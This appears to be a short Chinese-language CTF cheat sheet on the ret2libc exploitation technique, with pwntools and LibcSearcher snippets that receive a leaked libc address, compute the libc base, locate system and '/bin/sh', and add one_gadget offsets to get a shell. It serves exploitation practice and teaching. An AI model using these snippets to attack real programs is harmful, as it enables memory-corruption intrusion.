lun4t1c@home:~$

ret2libc

# 一般步骤

  1. 泄露 libc 地址
  2. 计算 libc 基址与其他函数的地址
  3. get shell

# 接收被泄露的 libc 地址

  • 32 位程序
address = u32(io.recvuntil('\xf7')[-4:])
log.success('address -> ' + hex(address))
  • 64 位程序
address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success('address -> ' + hex(address))

# 计算地址

  • 计算 libc 基址
# ELF
libc_base = address - libc.sym['function_name']
system_addr = libc_base + libc.sym['system']
str_bin_sh = libc_base + libc.search('/bin/sh').next()
log.success('libc_base -> ' + hex(libc_base))

# LibcSearcher
libc = LibcSearcher('function_name', address)
libc_base = address - libc.dump('function_name')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
log.success('libc_base -> ' + hex(libc_base))
  • 计算 one gadget 地址
one_gadget_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadget_list[1]
log.success('one_gadget -> ' + hex(one_gadget))

# 注意事项

  • 下载题目文件时应注意文件中是否提供了相应的 libc 文件。若已提供相应的 libc 文件,则在调试时使用 pwntools 的 ELF 函数直接绑定该 libc。若没有提供相应的 libc 文件,则需要使用 LibcSearcher 库进行 libc 匹配。